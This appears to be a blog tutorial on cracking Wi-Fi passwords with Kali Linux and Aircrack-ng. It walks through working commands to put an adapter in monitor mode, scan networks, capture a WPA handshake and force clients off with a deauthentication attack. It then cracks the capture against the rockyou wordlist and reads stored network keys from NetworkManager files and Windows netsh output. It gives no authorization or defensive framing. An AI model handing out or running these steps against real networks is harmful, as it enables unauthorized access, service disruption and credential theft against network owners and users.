1. What is Wi-Fi and How Does It Work?#

• Wi-Fi: Data exchange wirelessly via radio waves (think “radio, but for the internet!”).
• Access Point: The device that broadcasts the network (like a router).
• Data Packets: Information sent between devices (like “secret messages” that can be intercepted by sniffing).

2. Types of Wi-Fi Encryption (and Can They Be Cracked?)#

Required Tools#

1. Kali Linux — downloadable from kali.org
2. Aircrack-ng — pre-installed in Kali
3. A Wi-Fi adapter that supports Monitor Mode

Step 1: Enable Monitor Mode#

1
# Temporarily stop the Wi-Fi service
2
sudo systemctl stop NetworkManager
3

4
# Enable monitor mode on the Wi-Fi interface (example: wlan0)
5
sudo airmon-ng start wlan0

airmon-ng switches the network card from “normal connection” mode to “sniffing” mode, capturing all packets in range.

Step 2: Discover Available Networks#

1
# Scan nearby networks
2
sudo airodump-ng wlan0mon

What is displayed:

• BSSID — The router’s MAC address
• CH — The network channel
• ESSID — The network name (e.g., STC_5G)

Step 3: Capture the Handshake#

1
# Focus on a specific network (replace BSSID and CH with actual values)
2
sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 --write handshake wlan0mon

When a device connects to a network, it exchanges an encryption handshake with the router. Capturing it allows us to attempt to crack the password offline.

Step 4: Deauth Attack to Capture the Handshake#

1
# Force connected devices to reconnect
2
sudo aireplay-ng --deauth 10 -a 00:11:22:33:44:55 wlan0mon

This attack temporarily disconnects devices. When they reconnect, the handshake is captured.

Step 5: Crack the Password Using a Wordlist#

1
# Use Aircrack-ng to decrypt (replace handshake-01.cap with your filename)
2
sudo aircrack-ng handshake-01.cap -w /usr/share/wordlists/rockyou.txt

RockYou.txt is a famous wordlist containing millions of common passwords like password123.

⏳ Time required: Minutes to hours, depending on password strength.

On Linux#

1
# Search NetworkManager config files for stored passwords
2
sudo cat /etc/NetworkManager/system-connections/* | grep psk=

On Windows (No Software Needed)#

1. Open Command Prompt (CMD) as Administrator
2. Run:

1
netsh wlan show profile name="NetworkName" key=clear

Look for Key Content in the output — that’s the password in plain text.